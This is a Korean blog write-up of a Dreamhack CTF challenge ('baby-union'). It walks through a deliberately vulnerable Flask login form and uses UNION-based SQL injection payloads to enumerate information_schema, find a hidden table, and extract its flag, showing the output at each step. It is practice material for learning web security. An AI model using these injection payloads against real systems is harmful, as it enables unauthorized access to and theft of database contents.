첫번째 문제 푼게 엊그제 같은데 벌써 70번째 문제다
30일만 지나면 100번째 문제,
하루에 한문제씩이지만, 그 하루가 쌓여 모인다.
내일의 나는 또 얼마나 성장해있을까
시간을 멈출 수 없다면, 시간의 흐름을 즐기고, 나아가자
오늘도, 즐기자
app.py 파일 소스코드다
import os
from flask import Flask, request, render_template
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'secret_db')
mysql = MySQL(app)
@app.route("/", methods = ["GET", "POST"])
def index():
if request.method == "POST":
uid = request.form.get('uid', '')
upw = request.form.get('upw', '')
if uid and upw:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
data = cur.fetchall()
if data:
return render_template("user.html", data=data)
else: return render_template("index.html", data="Wrong!")
return render_template("index.html", data="Fill the input box", pre=1)
return render_template("index.html")
if __name__ == '__main__':
app.run(host='0.0.0.0')
이 Flask 애플리케이션은 사용자가 웹 폼을 통해 입력한 `uid`와 `upw`(사용자 아이디와 비밀번호) 값을 데이터베이스에서 조회하는 간단한 로그인 시스템입니다. 그러나 코드에 **SQL 인젝션** 취약점이 존재합니다. 이를 분석하고, 각 부분을 설명하겠습니다.
### 코드 분석
```python
import os
from flask import Flask, request, render_template
from flask_mysqldb import MySQL
```
- **모듈 임포트**:
- `os`: 환경 변수 등을 가져오기 위한 모듈.
- `Flask`: Flask 웹 애플리케이션 프레임워크.
- `request`: HTTP 요청을 처리하는 객체.
- `render_template`: HTML 템플릿을 렌더링하는 함수.
- `flask_mysqldb`: MySQL과의 연동을 위한 라이브러리.
```python
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'secret_db')
mysql = MySQL(app)
```
- **Flask 애플리케이션 초기화**:
- `Flask(__name__)`: Flask 애플리케이션 객체를 생성합니다.
- `app.config`: MySQL 데이터베이스 연결 설정을 합니다. 환경 변수에서 MySQL 설정을 가져오거나, 없다면 기본값(`localhost`, `user`, `pass`, `secret_db`)을 사용합니다.
- `mysql = MySQL(app)`: Flask 애플리케이션과 MySQL을 연결합니다.
### `/` 라우트와 `POST` 처리
```python
@app.route("/", methods = ["GET", "POST"])
def index():
if request.method == "POST":
uid = request.form.get('uid', '')
upw = request.form.get('upw', '')
```
- **`POST` 요청 처리**:
- 클라이언트가 로그인 폼을 제출할 때 `POST` 요청을 보냅니다. `uid`와 `upw`는 폼에서 입력받은 아이디와 비밀번호입니다.
```python
if uid and upw:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
data = cur.fetchall()
if data:
return render_template("user.html", data=data)
else:
return render_template("index.html", data="Wrong!")
```
- **SQL 쿼리 실행**:
- `uid`와 `upw` 값이 존재하면, 이 값을 이용해 MySQL 데이터베이스에서 쿼리를 실행합니다.
- `cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")`: 이 부분에서 **SQL 인젝션 취약점**이 발생합니다. 사용자가 입력한 `uid`와 `upw`가 직접 쿼리에 삽입되기 때문에, 악의적인 사용자가 이를 조작하여 데이터베이스를 공격할 수 있습니다.
- 예를 들어, `uid`에 `' OR 1=1 --`를 입력하면 쿼리는 다음과 같이 변경됩니다:
```sql
SELECT * FROM users WHERE uid='' OR 1=1 --' and upw='';
```
이렇게 되면 `1=1`이 항상 참이기 때문에 모든 사용자 데이터가 반환됩니다.
```python
return render_template("index.html", data="Fill the input box", pre=1)
```
- **입력 값이 없을 경우 처리**:
- `uid`나 `upw`가 비어 있으면 "Fill the input box"라는 메시지를 표시합니다.
### **`GET` 요청 처리**
```python
return render_template("index.html")
```
- **`GET` 요청 처리**:
- 페이지에 처음 접속할 때 `GET` 요청이 발생하고, 이 경우 `index.html`을 렌더링합니다.
### 애플리케이션 실행
```python
if __name__ == '__main__':
app.run(host='0.0.0.0')
```
- **애플리케이션 실행**:
- Flask 애플리케이션을 `0.0.0.0`에서 실행하여 외부 접속을 허용합니다.
---
### **문제점**: SQL 인젝션 취약점
위 코드에서는 **SQL 인젝션** 취약점이 존재합니다. 사용자가 `uid`와 `upw`를 입력하는데, 이를 **SQL 쿼리에 직접 삽입**하기 때문에 공격자가 악의적인 SQL 코드를 입력할 수 있습니다. 예를 들어:
- `uid`: `' OR 1=1 --`
- `upw`: (빈 값)
위와 같은 값을 입력하면, SQL 쿼리는 다음과 같습니다:
```sql
SELECT * FROM users WHERE uid='' OR 1=1 -- and upw='';
```
이 쿼리는 `1=1`이 항상 참이므로, `users` 테이블에 있는 모든 데이터를 반환합니다.
### **SQL 인젝션을 이용한 공격 방법**
1. **SQL 인젝션을 통한 플래그 조회**:
- `uid`에 `' OR 1=1 --`을 입력하고 `upw`는 비워두거나 아무 값이나 넣습니다.
- 그러면 `users` 테이블의 모든 데이터를 조회할 수 있습니다.
2. **다양한 SQL 인젝션 기법 사용**:
- `upw`나 `uid`에 다양한 SQL 인젝션 페이로드를 시도하여, 데이터베이스에서 플래그나 민감한 데이터를 추출할 수 있습니다.
### **SQL 인젝션 방지 방법**
이 문제를 해결하려면 **파라미터화된 쿼리**를 사용해야 합니다. 예를 들어, `flask_mysqldb`의 `cursor.execute()`를 사용할 때, 쿼리 문자열에 직접 데이터를 삽입하는 대신 **플레이스홀더**를 사용해야 합니다.
```python
cur.execute("SELECT * FROM users WHERE uid=%s AND upw=%s", (uid, upw))
```
이렇게 하면 `uid`와 `upw` 값이 안전하게 처리되어 SQL 인젝션을 방지할 수 있습니다.
### 결론
이 Flask 애플리케이션은 **SQL 인젝션** 취약점이 존재하여 악의적인 사용자가 데이터베이스에 접근하거나 중요한 데이터를 탈취할 수 있습니다. 이를 해결하려면 **파라미터화된 쿼리**를 사용하여 사용자 입력을 안전하게 처리해야 합니다.
init.sql파일 소스코드다
CREATE DATABASE secret_db;
GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `secret_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null,
descr varchar(128) not null
);
INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;
CREATE TABLE fake_table_name (
idx int auto_increment primary key,
fake_col1 varchar(128) not null,
fake_col2 varchar(128) not null,
fake_col3 varchar(128) not null,
fake_col4 varchar(128) not null
);
INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');
이 SQL 스크립트는 **MySQL** 데이터베이스를 생성하고, 사용자 및 데이터를 삽입하며, **fake_table_name**이라는 가상의 테이블을 만들어 `flag` 값을 삽입하는 과정을 설명합니다. 이 내용을 분석하고, 각 부분을 자세히 살펴보겠습니다.
### 1. **데이터베이스 생성 및 권한 부여**
```sql
CREATE DATABASE secret_db;
GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
```
- **`CREATE DATABASE secret_db;`**: `secret_db`라는 이름의 새로운 데이터베이스를 생성합니다.
- **`GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';`**:
- `dbuser`라는 사용자를 생성하고, `localhost`에서 이 사용자가 `secret_db` 데이터베이스에 대해 모든 권한을 가지도록 설정합니다.
- 비밀번호는 `'dbpass'`로 설정됩니다.
이 부분은 데이터베이스와 사용자를 설정하고, 해당 사용자가 데이터베이스에 접근할 수 있도록 권한을 부여하는 과정입니다.
### 2. **`users` 테이블 생성 및 데이터 삽입**
```sql
USE `secret_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null,
descr varchar(128) not null
);
INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
```
- **`USE secret_db;`**: `secret_db` 데이터베이스를 사용하도록 설정합니다. 이후의 쿼리는 이 데이터베이스에서 실행됩니다.
- **`CREATE TABLE users (...);`**: `users`라는 테이블을 생성합니다. 이 테이블은 `uid` (아이디), `upw` (비밀번호), `descr` (설명)을 가진 세 개의 컬럼을 포함하고 있으며, `idx`는 기본 키로 설정되어 `auto_increment`로 자동 증가합니다.
- **`INSERT INTO users ...;`**: `users` 테이블에 세 명의 사용자를 삽입합니다.
- `'admin', 'apple', 'For admin'`
- `'guest', 'melon', 'For guest'`
- `'banana', 'test', 'For banana'`
이 부분은 `users` 테이블을 생성하고, `admin`, `guest`, `banana`라는 세 개의 사용자 데이터를 삽입합니다.
### 3. **`fake_table_name` 테이블 생성 및 데이터 삽입**
```sql
CREATE TABLE fake_table_name (
idx int auto_increment primary key,
fake_col1 varchar(128) not null,
fake_col2 varchar(128) not null,
fake_col3 varchar(128) not null,
fake_col4 varchar(128) not null
);
INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');
```
- **`CREATE TABLE fake_table_name ...;`**: `fake_table_name`이라는 새로운 테이블을 생성합니다. 이 테이블은 `fake_col1`, `fake_col2`, `fake_col3`, `fake_col4`라는 네 개의 컬럼을 가지고 있으며, `idx`는 기본 키로 설정되어 `auto_increment`로 자동 증가합니다.
- **`INSERT INTO fake_table_name ...;`**: `fake_table_name` 테이블에 데이터를 삽입합니다. 삽입된 데이터는 `'flag is '`, `'DH{sam'`, `'ple'`, `'flag}'`라는 문자열들입니다.
이 부분은 `fake_table_name` 테이블을 생성하고, `flag` 값을 포함하는 데이터를 삽입하는 코드입니다. 삽입된 데이터는 `fake_table_name`의 컬럼들에 분배됩니다:
- `fake_col1`에는 `'flag is '`
- `fake_col2`에는 `'DH{sam'`
- `fake_col3`에는 `'ple'`
- `fake_col4`에는 `'flag}'`
따라서, 이 데이터는 사실상 **`flag is DH{sampleflag}`**라는 문자열을 구성하는 내용입니다. 이 문자열은 **플래그**로 보이며, 이를 통해 **CTF(화합형 해킹 대회)**와 같은 환경에서 중요한 정보를 표시할 수 있습니다.
### **플래그 분석**
- `fake_table_name` 테이블에 삽입된 데이터는 실제로 하나의 **플래그**를 포함하고 있습니다. `fake_col1`, `fake_col2`, `fake_col3`, `fake_col4`에 저장된 데이터는 **`flag is DH{sampleflag}`**라는 문자열을 구성하며, 이를 통해 **CTF 대회나 보안 테스트에서 사용할 수 있는 플래그**로 보입니다.
### **요약**
- 이 SQL 스크립트는 `secret_db`라는 데이터베이스를 생성하고, `users`라는 사용자 정보를 담은 테이블과 `fake_table_name`이라는 가상의 테이블을 생성합니다.
- `fake_table_name` 테이블에 삽입된 데이터에서 **플래그**를 찾을 수 있으며, 이 플래그는 **`DH{sampleflag}`**입니다.
- 이 플래그는 보안 대회나 해킹 연습에서 유용할 수 있습니다.
`'admin', 'apple', 'For admin'`
- `'guest', 'melon', 'For guest'`
- `'banana', 'test', 'For banana'`
하나씩 집어넣어보자
그래서 flag는?
CREATE TABLE fake_table_name (
idx int auto_increment primary key,
fake_col1 varchar(128) not null,
fake_col2 varchar(128) not null,
fake_col3 varchar(128) not null,
fake_col4 varchar(128) not null
);
fake_table_name의 진짜 이름과 fake_co1들의 진짜 컬럼 이름을 찾아야할 것 같다
https://velog.io/@sy460129/Dreamhack-baby-union
https://velog.io/@buubb/dreamhack-baby-union
https://tjrrb4551.tistory.com/entry/Dreamhack-baby-union-write-up
https://st-together.tistory.com/59
union
union은 쉽게 말해 테이블을 합치는 것이라 할 수 있다.
하지만 합칠 테이블의 컬럼수가 같이 않다면 에러가 뜨는데 이것을 주의해야 한다.
union을 사용하기 전 먼저 해당 테이블의 컬럼수가 몇 개 인지를 확인해야 한다.
위의 코드에서 4개의 컬럼을 가진 것을 확인했지만 소스코드를 확인할 수 없는 경우라면
union select 1,2,3... 이런 식으로 하나 하나 넣어보며 에러가 나지 않는 경우를 찾아야 한다.
출처 ㅣhttps://st-together.tistory.com/59
저번에 사용했던 union select을 쓸거다
db구조와 속성에 관한 정보를 저장하는 테이블 = information_schema
information_schema에서 table이름을 가져오기 위해서는 요런식으로 qurey문을 사용하면된다
admin' union select table_name,2,3,4 from information_schema.tables #
uid에 이 query를 넣고 upw는 주석처리되기 때문에 아무 값이나 넣으면 된다
아니면 uid에 admin을 넣고 upw에 apple'을 집어넣고 qurey문을 작성하면 된다
요건 db버전 확인하는 qurey문이다
admin' union select version(),null,null,null #
아 참고로 주의사항이 있다. union앞에 공백을 줘야한다. 아니면 에러뜬다
지피티야 쿼리문에서
admin' union select table_name,2,3,4 from information_schema.tables # 랑
admin'union select table_name,2,3,4 from information_schema.tables #에서
union앞에 공백을 안주면 왜 오류가 나는거야?
`admin' union select table_name,2,3,4 from information_schema.tables #`와 `admin'union select table_name,2,3,4 from information_schema.tables #` 사이에서 발생하는 오류는 **SQL 문법**과 관련이 있습니다.
### 문제의 핵심
`UNION`은 두 개 이상의 **SELECT** 쿼리의 결과를 결합하는 데 사용됩니다. 그러나 **SQL 구문에서 `UNION`**을 사용할 때, `UNION` 앞뒤로 적절한 **공백**이 있어야 합니다. 이유는 `UNION`이 SQL 키워드이기 때문입니다.
### 분석
1. **`admin' union select table_name,2,3,4 from information_schema.tables #`**:
이 쿼리는 `admin'`이라는 값 뒤에 공백을 두고 `union`을 사용하고 있습니다. 이 문법은 **올바르게 분리된** 두 개의 SQL 쿼리입니다.
- **`admin'`**은 문자열의 끝을 나타내며, `'`은 문자열 리터럴을 닫습니다.
- `union select table_name,2,3,4 from information_schema.tables #`는 다른 SQL 쿼리입니다. `#`는 주석을 나타내므로, 나머지 부분은 무시됩니다.
이 방식은 SQL 쿼리 문법에 맞기 때문에 오류 없이 실행됩니다.
2. **`admin'union select table_name,2,3,4 from information_schema.tables #`**:
이 쿼리는 `admin'` 뒤에 공백 없이 `union`이 붙어 있습니다. 이 경우 문제가 발생하는 이유는 다음과 같습니다:
- **`admin'`**은 문자열 리터럴을 닫는 구분자입니다. 따라서 **`'`** 뒤에 오는 `union`은 SQL 엔진이 이전 문자열 리터럴의 종료를 인식한 후에 `union` 키워드를 처리하려고 시도합니다. 하지만, **`union`** 키워드는 문자열 리터럴 뒤에서 바로 인식되지 않기 때문에 오류가 발생합니다.
- 이 상태에서는 `union`이 `admin'`과 연결된 문자열 리터럴의 일부로 잘못 인식되기 때문에 구문 오류가 발생합니다. 즉, **`'`** (문자열 리터럴 종료)와 **`union`** 사이에 공백이 없으면 SQL 문법적으로 올바른 구문이 아니게 됩니다.
### SQL 문법
- **`'`** 뒤에 공백을 추가하여 **`union`** 키워드를 올바르게 분리하면 SQL 문법 오류를 피할 수 있습니다.
- **`UNION`**은 두 개 이상의 **SELECT** 쿼리를 합치는 역할을 하며, 각 쿼리와 쿼리 사이에 적절한 구분을 두어야 합니다.
### 결론
SQL 쿼리에서 `UNION` 앞에 공백이 필요하는 이유는 SQL 엔진이 `UNION` 키워드를 다른 SQL 명령어와 구분할 수 있도록 해야 하기 때문입니다. 문자열 리터럴(`'`) 뒤에 바로 `UNION`이 오면 SQL 문법 오류가 발생하므로, 공백을 추가하여 쿼리를 올바르게 구분해야 합니다.
information_schema.tables 정보다
Hello admin
# id description
1 admin For admin
ALL_PLUGINS 2 4
APPLICABLE_ROLES 2 4
CHARACTER_SETS 2 4
CHECK_CONSTRAINTS 2 4
COLLATIONS 2 4
COLLATION_CHARACTER_SET_APPLICABILITY 2 4
COLUMNS 2 4
COLUMN_PRIVILEGES 2 4
ENABLED_ROLES 2 4
ENGINES 2 4
EVENTS 2 4
FILES 2 4
GLOBAL_STATUS 2 4
GLOBAL_VARIABLES 2 4
KEYWORDS 2 4
KEY_CACHES 2 4
KEY_COLUMN_USAGE 2 4
PARAMETERS 2 4
PARTITIONS 2 4
PLUGINS 2 4
PROCESSLIST 2 4
PROFILING 2 4
REFERENTIAL_CONSTRAINTS 2 4
ROUTINES 2 4
SCHEMATA 2 4
SCHEMA_PRIVILEGES 2 4
SESSION_STATUS 2 4
SESSION_VARIABLES 2 4
STATISTICS 2 4
SQL_FUNCTIONS 2 4
SYSTEM_VARIABLES 2 4
TABLES 2 4
TABLESPACES 2 4
TABLE_CONSTRAINTS 2 4
TABLE_PRIVILEGES 2 4
TRIGGERS 2 4
USER_PRIVILEGES 2 4
VIEWS 2 4
GEOMETRY_COLUMNS 2 4
SPATIAL_REF_SYS 2 4
CLIENT_STATISTICS 2 4
INDEX_STATISTICS 2 4
INNODB_SYS_DATAFILES 2 4
USER_STATISTICS 2 4
INNODB_SYS_TABLESTATS 2 4
INNODB_LOCKS 2 4
INNODB_MUTEXES 2 4
INNODB_CMPMEM 2 4
INNODB_CMP_PER_INDEX 2 4
INNODB_CMP 2 4
INNODB_FT_DELETED 2 4
INNODB_CMP_RESET 2 4
INNODB_LOCK_WAITS 2 4
TABLE_STATISTICS 2 4
INNODB_TABLESPACES_ENCRYPTION 2 4
INNODB_BUFFER_PAGE_LRU 2 4
INNODB_SYS_FIELDS 2 4
INNODB_CMPMEM_RESET 2 4
INNODB_SYS_COLUMNS 2 4
INNODB_FT_INDEX_TABLE 2 4
INNODB_CMP_PER_INDEX_RESET 2 4
user_variables 2 4
INNODB_FT_INDEX_CACHE 2 4
INNODB_SYS_FOREIGN_COLS 2 4
INNODB_FT_BEING_DELETED 2 4
INNODB_BUFFER_POOL_STATS 2 4
INNODB_TRX 2 4
INNODB_SYS_FOREIGN 2 4
INNODB_SYS_TABLES 2 4
INNODB_FT_DEFAULT_STOPWORD 2 4
INNODB_FT_CONFIG 2 4
INNODB_BUFFER_PAGE 2 4
INNODB_SYS_TABLESPACES 2 4
INNODB_METRICS 2 4
INNODB_SYS_INDEXES 2 4
INNODB_SYS_VIRTUAL 2 4
INNODB_TABLESPACES_SCRUBBING 2 4
INNODB_SYS_SEMAPHORE_WAITS 2 4
users 2 4
onlyflag 2
비율 안맞는거 킹받긴하지만 맨 밑에 보면 onlyflag 테이블이 보인다. 아주 수상해보인다
onlyflag안의 컬럼값을 확인해보러가자
admin' union select column_name, 2, 3, 4 from information_schema.columns where table_name = 'onlyflag'#
Hello None
# id description
idx None None
sname None None
svalue None None
sflag None None
sclose None None
반갑다. idx와 sname은 아이디와 이름을 나타내는 것 같이 보이므로 나머지 svalue, sflag, sclose를 확인해 보자
admin' union select svalue, sflag, null, sclose from onlyflag#
union 3번 자리는 확인이 불가능하니 1,2,4번 자리에 위치한 후 확인시킨다
Hello admin
# id description
1 admin For admin
DH{57033624d7f142f57f13 9b4c9e84bd78da77b4406896 c386672f0cbb016f5873}
DH{57033624d7f142f57f13 9b4c9e84bd78da77b4406896c386672f0cbb016f5873}
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[72] IT 비전공자 [dreamhack]Secure Mail문제 풀기 (2) | 2024.11.20 |
---|---|
[71] IT 비전공자 [dreamhack] Basic_Forensics_1문제 풀기 (2) | 2024.11.19 |
[69] IT 비전공자 [dreamhack] Command Injection Advanced문제 풀기 (2) | 2024.11.17 |
[68] IT 비전공자 [dreamhack][wargame.kr] strcmp문제 풀기 (0) | 2024.11.16 |
[67] IT 비전공자 [dreamhack][wargame.kr] login filtering문제 풀기 (1) | 2024.11.15 |